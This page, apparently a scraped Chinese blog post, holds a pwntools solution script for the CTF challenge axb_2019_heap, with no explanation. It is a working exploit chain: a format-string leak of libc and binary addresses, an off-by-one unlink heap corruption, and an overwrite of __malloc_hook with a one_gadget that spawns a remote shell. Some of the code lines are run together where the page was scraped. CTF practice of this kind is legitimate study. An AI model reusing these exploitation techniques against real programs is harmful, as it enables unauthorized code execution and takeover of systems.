当前位置: 首页 > news >正文

axb_2019_heap

from pwn import *context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]elf = ELF("./axb_2019_heap")
libc = ELF("./libc-2.23.so")
# p = gdb.debug("./axb_2019_heap")
# p = process("./axb_2019_heap")
p = remote("node5.buuoj.cn", 27535)def add(index, size, content):p.sendlineafter(b">> ", b"1")p.sendlineafter(b"Enter the index you want to create (0-10):", str(index).encode())p.sendlineafter(b"Enter a size:\n", str(size).encode())p.sendlineafter(b"Enter the content: \n", content)def delete(index):p.sendlineafter(b">> ", b"2")p.sendlineafter(b"Enter an index:\n", str(index).encode())def show():p.sendlineafter(b">> ", b"3")passdef edit(index, content):p.sendlineafter(b">> ", b"4")p.sendlineafter(b"Enter an index:\n", str(index).encode())p.sendlineafter(b"Enter the content: \n", content)p.sendlineafter(b"Enter your name: ", b"%15$p,%14$p")p.recvuntil(b"Hello, ")
leak = int(p.recvuntil(b",")[:-1], 16)
log.success(f"leak: {hex(leak)}")
libc.address = leak - 0x20830
log.success(f"libc: {hex(libc.address)}")leak = int(p.recvline().strip(), 16)
log.success(f"leak: {hex(leak)}")
elf.address = leak - 0x1200
log.success(f"elf: {hex(elf.address)}")add(0, 0x98, b"a" * 0x80)
add(1, 0x108, b"b" * 0x80)
add(2, 0xF8, b"c" * 0x80)
add(3, 0xF0, b"padding")
add(5, 0x100, b"padding2")delete(0)
edit(1, b"b" * 0x100 + p64(0x1B0))
delete(2)note_ptr = elf.symbols["note"] + 0x10payload = b"d" * 0x90
payload += (p64(0x100)+ p64(0x111)+ p64(0x20)+ p64(0x101)+ p64(note_ptr - 0x18)+ p64(note_ptr - 0x10)+ b"d" * 0xE0
)
payload += p64(0x100) + p64(0x100) + b"d" * 0xF0
payload += p64(0x200)
add(4, 0x2A8, payload)
delete(3)# edit(1, p64(0) * 3 + p64(elf.sym["key"]))
# edit(1, p64(43))edit(1, p64(0) * 3 + p64(libc.symbols["__malloc_hook"]))
edit(1, p64(libc.address + 0xf1147))
add(6, 0x100, b"qaq")p.interactive()
http://www.jsqmd.com/news/650738/

相关文章:

  • C 语言从 0 入门(二十六)|终极综合项目:完整版文件持久化学生管理系统
  • 别再死记硬背!用Python+OpenCV手把手带你标定相机内参外参(附完整代码)
  • 2026临沂企业如何选对人力资源管理顾问?
  • Colab实战:用GitHub代码仓库快速搭建深度学习环境(含GPU设置避坑指南)
  • 基于Python的来访管理系统毕业设计源码
  • PUBG罗技鼠标宏压枪脚本技术解析与实战应用指南
  • ComfyUI-WanVideoWrapper:模块化AI视频生成框架的技术深度解析
  • 从英文障碍到设计自由:FigmaCN如何让中文设计师重获创作主动权
  • 对抗攻击实战解析:从梯度扰动到模型集成的攻防博弈
  • Matlab里mod和rem到底啥区别?一个例子讲透,选错函数你的计算结果可能全错
  • Linux命令:vmstat
  • 别让反电动势烧了你的单片机!手把手教你给继电器/电机加保护二极管(附ULN2803实战)
  • 在安卓Termux上通过QEMU部署Windows 11:从零开始的移动端虚拟化实践
  • 如何在Mac上使用CXPatcher提升CrossOver游戏性能:完整教程
  • GitHub中文化插件:彻底消除语言障碍的专业解决方案
  • 实测4大AI做PPT神器:千问 vs Kimi vs 豆包 vs 扣子,谁才是最强生产力?(附完整对比)
  • STM32C8T6驱动IIS3DWB传感器:从CubeMX配置到USB-CDC数据输出的完整实战
  • 天津继承诉讼律师:天津家理律所姜春梅律师:咨询400-0073-869 - 外贸老黄
  • 深入解析timm中的FeatureListNet:灵活提取模型中间特征的秘密武器
  • RVC音色训练实战:用干声素材3分钟打造专属语音模型
  • 5种大模型多智能体协作模式详解:从入门到进阶,收藏这份架构指南
  • 5分钟搞定:如何彻底解决微信QQ消息撤回烦恼
  • 实战指南:基于STM32与DRV8825的步进电机闭环控制(STM32CubeIDE + 编码器)
  • 2026年乌鲁木齐家装工装一体化方案深度横评:从源头材料到气候适配的完整选购指南 - 精选优质企业推荐榜
  • 别再被PaddlePaddle-GPU版本搞懵了!手把手教你搞定CUDA 12.0 + PaddleOCR 2.0.1环境
  • 保姆级教程:STM32CubeMX 6.2.1从下载到固件库安装的完整避坑指南
  • Kubernetes Node 污点与调度权重
  • 收藏!小白也能玩转大模型,抓住AI红利!
  • 2026江苏保安公司排名前七:园区/学校/商场/小区安保优质服务商推荐 - 栗子测评
  • LinuxCNC完整指南:从零开始掌握开源数控系统